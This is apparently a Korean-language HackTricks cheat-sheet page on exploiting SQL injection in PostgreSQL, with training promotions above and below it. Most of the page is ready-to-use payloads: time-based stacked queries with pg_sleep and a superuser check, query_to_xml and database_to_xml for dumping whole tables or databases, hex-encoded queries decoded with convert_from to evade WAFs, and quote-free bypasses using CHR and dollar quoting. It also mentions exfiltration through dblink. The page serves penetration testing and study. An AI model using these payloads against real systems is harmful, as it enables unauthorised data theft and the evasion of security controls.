PostgreSQL injection
Reading time: 3 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
이 페이지는 PostgreSQL 데이터베이스에서 발견된 SQL 인젝션을 악용하는 데 도움이 될 수 있는 다양한 트릭을 설명하고, https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md 에서 찾을 수 있는 트릭을 보완하는 것을 목표로 합니다.
Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
**PostgreSQL 모듈 dblink
**는 다른 PostgreSQL 인스턴스에 연결하고 TCP 연결을 실행할 수 있는 기능을 제공합니다. 이러한 기능은 COPY FROM
기능과 결합되어 권한 상승, 포트 스캐닝 및 NTLM 챌린지 응답 캡처와 같은 작업을 가능하게 합니다. 이러한 공격을 실행하는 방법에 대한 자세한 내용은 이 공격을 수행하는 방법을 확인하세요.
dblink 및 대용량 객체를 사용한 데이터 유출 예제
이 예제를 읽어보세요 대용량 객체 내에 데이터를 로드한 다음 함수 dblink_connect
의 사용자 이름 내에서 대용량 객체의 내용을 유출하는 CTF 예제를 확인할 수 있습니다.
PostgreSQL Attacks: Read/write, RCE, privesc
PostgreSQL에서 호스트를 손상시키고 권한을 상승시키는 방법을 확인하세요:
5432,5433 - Pentesting Postgresql
WAF 우회
PostgreSQL 문자열 함수
문자열을 조작하면 WAF 또는 기타 제한을 우회하는 데 도움이 될 수 있습니다.
이 페이지에서 유용한 문자열 함수를 찾을 수 있습니다.
스택 쿼리
PostgreSQL은 스택 쿼리를 지원하지만, 여러 응답이 반환될 때 오류를 발생시키는 애플리케이션이 많습니다. 그러나 시간 주입을 통해 스택 쿼리를 여전히 악용할 수 있습니다:
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
XML 트릭
query_to_xml
이 함수는 모든 데이터를 XML 형식으로 단일 파일에 반환합니다. 많은 데이터를 단 1행으로 덤프하려는 경우에 이상적입니다:
SELECT query_to_xml('select * from pg_user',true,true,'');
database_to_xml
이 함수는 전체 데이터베이스를 XML 형식으로 단 1행에 덤프합니다(데이터베이스가 매우 큰 경우 DoS를 발생시키거나 심지어 자신의 클라이언트를 손상시킬 수 있으니 주의하세요):
SELECT database_to_xml(true,true,'');
Strings in Hex
만약 쿼리를 문자열 안에 전달할 수 있다면 (예를 들어 query_to_xml
함수를 사용하여). 이 방법으로 문자열을 헥사로 전달하고 필터를 우회하기 위해 convert_from을 사용할 수 있습니다:
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
금지된 인용구
페이로드에 인용구를 사용할 수 없는 경우, 기본 절을 위해 CHR
를 사용하여 우회할 수 있습니다 (문자 연결은 SELECT, INSERT, DELETE 등과 같은 기본 쿼리에만 작동합니다. 모든 SQL 문에 대해 작동하지 않습니다):
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
또는 $
를 사용하여. 이 쿼리는 동일한 결과를 반환합니다:
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.